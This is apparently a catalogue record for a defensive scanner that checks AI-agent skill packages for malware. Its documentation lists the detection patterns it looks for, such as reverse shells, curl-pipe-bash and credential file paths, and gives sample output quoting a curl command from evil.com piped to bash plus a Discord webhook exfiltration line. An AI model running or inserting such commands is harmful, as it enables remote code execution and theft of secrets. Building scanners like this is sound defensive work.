{
  "schemaVersion": "1.0",
  "item": {
    "slug": "clawhub-skill-scanner",
    "name": "Clawhub Skill Scanner",
    "source": "tencent",
    "type": "skill",
    "category": "开发工具",
    "sourceUrl": "https://clawhub.ai/amir-ag/clawhub-skill-scanner",
    "canonicalUrl": "https://clawhub.ai/amir-ag/clawhub-skill-scanner",
    "targetPlatform": "OpenClaw"
  },
  "install": {
    "downloadMode": "redirect",
    "downloadUrl": "/downloads/clawhub-skill-scanner",
    "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=clawhub-skill-scanner",
    "sourcePlatform": "tencent",
    "targetPlatform": "OpenClaw",
    "installMethod": "Manual import",
    "extraction": "Extract archive",
    "prerequisites": [
      "OpenClaw"
    ],
    "packageFormat": "ZIP package",
    "includedAssets": [
      "README.md",
      "SKILL.md",
      "references/threat-patterns.md",
      "scripts/scan_skill.py"
    ],
    "primaryDoc": "SKILL.md",
    "quickSetup": [
      "Download the package from Yavira.",
      "Extract the archive and review SKILL.md first.",
      "Import or place the package into your OpenClaw setup."
    ],
    "agentAssist": {
      "summary": "Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.",
      "steps": [
        "Download the package from Yavira.",
        "Extract it into a folder your agent can access.",
        "Paste one of the prompts below and point your agent at the extracted folder."
      ],
      "prompts": [
        {
          "label": "New install",
          "body": "I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Then review README.md for any prerequisites, environment setup, or post-install checks. Tell me what you changed and call out any manual steps you could not complete."
        },
        {
          "label": "Upgrade existing",
          "body": "I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Then review README.md for any prerequisites, environment setup, or post-install checks. Summarize what changed and any follow-up checks I should run."
        }
      ]
    },
    "sourceHealth": {
      "source": "tencent",
      "status": "healthy",
      "reason": "direct_download_ok",
      "recommendedAction": "download",
      "checkedAt": "2026-04-30T16:55:25.780Z",
      "expiresAt": "2026-05-07T16:55:25.780Z",
      "httpStatus": 200,
      "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=network",
      "contentType": "application/zip",
      "probeMethod": "head",
      "details": {
        "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=network",
        "contentDisposition": "attachment; filename=\"network-1.0.0.zip\"",
        "redirectLocation": null,
        "bodySnippet": null
      },
      "scope": "source",
      "summary": "Source download looks usable.",
      "detail": "Yavira can redirect you to the upstream package for this source.",
      "primaryActionLabel": "Download for OpenClaw",
      "primaryActionHref": "/downloads/clawhub-skill-scanner"
    },
    "validation": {
      "installChecklist": [
        "Use the Yavira download entry.",
        "Review SKILL.md after the package is downloaded.",
        "Confirm the extracted package contains the expected setup assets."
      ],
      "postInstallChecks": [
        "Confirm the extracted package includes the expected docs or setup files.",
        "Validate the skill or prompts are available in your target agent workspace.",
        "Capture any manual follow-up steps the agent could not complete."
      ]
    },
    "downloadPageUrl": "https://openagent3.xyz/downloads/clawhub-skill-scanner",
    "agentPageUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent",
    "manifestUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent.md"
  },
  "agentAssist": {
    "summary": "Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.",
    "steps": [
      "Download the package from Yavira.",
      "Extract it into a folder your agent can access.",
      "Paste one of the prompts below and point your agent at the extracted folder."
    ],
    "prompts": [
      {
        "label": "New install",
        "body": "I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Then review README.md for any prerequisites, environment setup, or post-install checks. Tell me what you changed and call out any manual steps you could not complete."
      },
      {
        "label": "Upgrade existing",
        "body": "I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Then review README.md for any prerequisites, environment setup, or post-install checks. Summarize what changed and any follow-up checks I should run."
      }
    ]
  },
  "documentation": {
    "source": "clawhub",
    "primaryDoc": "SKILL.md",
    "sections": [
      {
        "title": "Skill Security Audit",
        "body": "MANDATORY security check before installing external skills.\n\nInspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub."
      },
      {
        "title": "When to Use",
        "body": "Run this audit BEFORE any skill installation:\n\nclawhub install <skill>\nManual skill download/copy\nSkills from GitHub, URLs, or untrusted sources"
      },
      {
        "title": "Quick Start",
        "body": "# Scan a skill folder\npython3 scripts/scan_skill.py /path/to/skill\n\n# JSON output for automation\npython3 scripts/scan_skill.py /path/to/skill --json\n\n# Exit code 0 only if SAFE\npython3 scripts/scan_skill.py /path/to/skill --install-if-safe"
      },
      {
        "title": "🔴 CRITICAL (Blocks Installation)",
        "body": "CategoryPatternsReverse Shellsnc -e, bash /dev/tcp, Python socket shellsCurl-Pipe-Bashcurl | bash, wget && chmod +xCredential Access~/.ssh, ~/.aws, ~/.openclaw, .env filesData ExfiltrationDiscord/Slack webhooks, POST with secretsMalicious Domainsglot.io, pastebin (known malware hosts)Persistencecrontab, systemd, LaunchAgents, .bashrcCommand Injectioneval(), exec(), subprocess shell=TrueObfuscationbase64 decode pipes, pickle, marshal"
      },
      {
        "title": "🟡 WARNING (Review Required)",
        "body": "Only patterns that are suspicious regardless of skill type:\n\nRaw socket usage (unusual for most skills)\nDynamic code compilation\nFile/directory deletion\nScreenshot/keyboard capture libraries\nLow-level system calls (ctypes)"
      },
      {
        "title": "Philosophy",
        "body": "We intentionally don't warn on common patterns like:\n\nHTTP requests (normal for API skills)\nAPI key references (normal for integration skills)\nFile writes (normal for data skills)\nEnvironment variable access (normal for config)\n\nThis reduces noise so real threats stand out."
      },
      {
        "title": "Risk Scoring",
        "body": "CRITICAL findings × 30 = Base score\nWARNING findings × 3 (capped at 10) = Warning contribution\n\nScoreLevelAction0-20🟢 SAFEAuto-approve21-50🟡 CAUTIONReview findings51-80🔶 DANGERDetailed review required81-100🔴 BLOCKEDDo NOT install"
      },
      {
        "title": "Sample Output",
        "body": "════════════════════════════════════════════════════════════\n  SKILL SECURITY AUDIT: suspicious-skill\n════════════════════════════════════════════════════════════\n\n📊 RISK SCORE: 90/100 - 🔴 BLOCKED\n\n🔴 CRITICAL FINDINGS (3)\n  [install.py:15] Curl pipe to shell (DANGEROUS!)\n    Code: os.system('curl https://evil.com/x.sh | bash')\n  [setup.py:42] Discord webhook exfiltration\n    Code: requests.post('https://discord.com/api/webhooks/...')\n  [run.py:8] ClawdBot .env access (ClawHavoc target!)\n    Code: open(os.path.expanduser('~/.clawdbot/.env'))\n\n📁 FILES SCANNED: 5\n📏 TOTAL LINES: 230\n\n════════════════════════════════════════════════════════════\n  🔴 BLOCK - Do NOT install this skill\n════════════════════════════════════════════════════════════"
      },
      {
        "title": "Integration with clawhub",
        "body": "Create a wrapper script to auto-scan before installation:\n\n#!/bin/bash\n# clawhub-secure: Scan before install\n\nSKILL=\"$2\"\nTEMP=\"/tmp/skill-audit-$$\"\n\n# Fetch without installing\nclawhub inspect \"$SKILL\" --out \"$TEMP\"\n\n# Scan\npython3 /path/to/scan_skill.py \"$TEMP\" --install-if-safe\nif [ $? -eq 0 ]; then\n    clawhub install \"$SKILL\"\nelse\n    echo \"🔴 Installation blocked by security scan\"\n    exit 1\nfi\n\nrm -rf \"$TEMP\""
      },
      {
        "title": "References",
        "body": "See references/threat-patterns.md for detailed pattern explanations."
      },
      {
        "title": "Credits",
        "body": "Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated\nlarge-scale supply chain attacks via AI agent skill marketplaces."
      }
    ],
    "body": "Skill Security Audit\n\nMANDATORY security check before installing external skills.\n\nInspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.\n\nWhen to Use\n\nRun this audit BEFORE any skill installation:\n\nclawhub install <skill>\nManual skill download/copy\nSkills from GitHub, URLs, or untrusted sources\nQuick Start\n# Scan a skill folder\npython3 scripts/scan_skill.py /path/to/skill\n\n# JSON output for automation\npython3 scripts/scan_skill.py /path/to/skill --json\n\n# Exit code 0 only if SAFE\npython3 scripts/scan_skill.py /path/to/skill --install-if-safe\n\nWhat It Detects\n🔴 CRITICAL (Blocks Installation)\nCategory\tPatterns\nReverse Shells\tnc -e, bash /dev/tcp, Python socket shells\nCurl-Pipe-Bash\tcurl | bash, wget && chmod +x\nCredential Access\t~/.ssh, ~/.aws, ~/.openclaw, .env files\nData Exfiltration\tDiscord/Slack webhooks, POST with secrets\nMalicious Domains\tglot.io, pastebin (known malware hosts)\nPersistence\tcrontab, systemd, LaunchAgents, .bashrc\nCommand Injection\teval(), exec(), subprocess shell=True\nObfuscation\tbase64 decode pipes, pickle, marshal\n🟡 WARNING (Review Required)\n\nOnly patterns that are suspicious regardless of skill type:\n\nRaw socket usage (unusual for most skills)\nDynamic code compilation\nFile/directory deletion\nScreenshot/keyboard capture libraries\nLow-level system calls (ctypes)\nPhilosophy\n\nWe intentionally don't warn on common patterns like:\n\nHTTP requests (normal for API skills)\nAPI key references (normal for integration skills)\nFile writes (normal for data skills)\nEnvironment variable access (normal for config)\n\nThis reduces noise so real threats stand out.\n\nRisk Scoring\nCRITICAL findings × 30 = Base score\nWARNING findings × 3 (capped at 10) = Warning contribution\n\nScore\tLevel\tAction\n0-20\t🟢 SAFE\tAuto-approve\n21-50\t🟡 CAUTION\tReview findings\n51-80\t🔶 DANGER\tDetailed review required\n81-100\t🔴 BLOCKED\tDo NOT install\nSample Output\n════════════════════════════════════════════════════════════\n  SKILL SECURITY AUDIT: suspicious-skill\n════════════════════════════════════════════════════════════\n\n📊 RISK SCORE: 90/100 - 🔴 BLOCKED\n\n🔴 CRITICAL FINDINGS (3)\n  [install.py:15] Curl pipe to shell (DANGEROUS!)\n    Code: os.system('curl https://evil.com/x.sh | bash')\n  [setup.py:42] Discord webhook exfiltration\n    Code: requests.post('https://discord.com/api/webhooks/...')\n  [run.py:8] ClawdBot .env access (ClawHavoc target!)\n    Code: open(os.path.expanduser('~/.clawdbot/.env'))\n\n📁 FILES SCANNED: 5\n📏 TOTAL LINES: 230\n\n════════════════════════════════════════════════════════════\n  🔴 BLOCK - Do NOT install this skill\n════════════════════════════════════════════════════════════\n\nIntegration with clawhub\n\nCreate a wrapper script to auto-scan before installation:\n\n#!/bin/bash\n# clawhub-secure: Scan before install\n\nSKILL=\"$2\"\nTEMP=\"/tmp/skill-audit-$$\"\n\n# Fetch without installing\nclawhub inspect \"$SKILL\" --out \"$TEMP\"\n\n# Scan\npython3 /path/to/scan_skill.py \"$TEMP\" --install-if-safe\nif [ $? -eq 0 ]; then\n    clawhub install \"$SKILL\"\nelse\n    echo \"🔴 Installation blocked by security scan\"\n    exit 1\nfi\n\nrm -rf \"$TEMP\"\n\nReferences\n\nSee references/threat-patterns.md for detailed pattern explanations.\n\nCredits\n\nDeveloped in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces."
  },
  "trust": {
    "sourceLabel": "tencent",
    "provenanceUrl": "https://clawhub.ai/amir-ag/clawhub-skill-scanner",
    "publisherUrl": "https://clawhub.ai/amir-ag/clawhub-skill-scanner",
    "owner": "amir-ag",
    "version": "0.1.0",
    "license": null,
    "verificationStatus": "Indexed source record"
  },
  "links": {
    "detailUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner",
    "downloadUrl": "https://openagent3.xyz/downloads/clawhub-skill-scanner",
    "agentUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent",
    "manifestUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent.md"
  }
}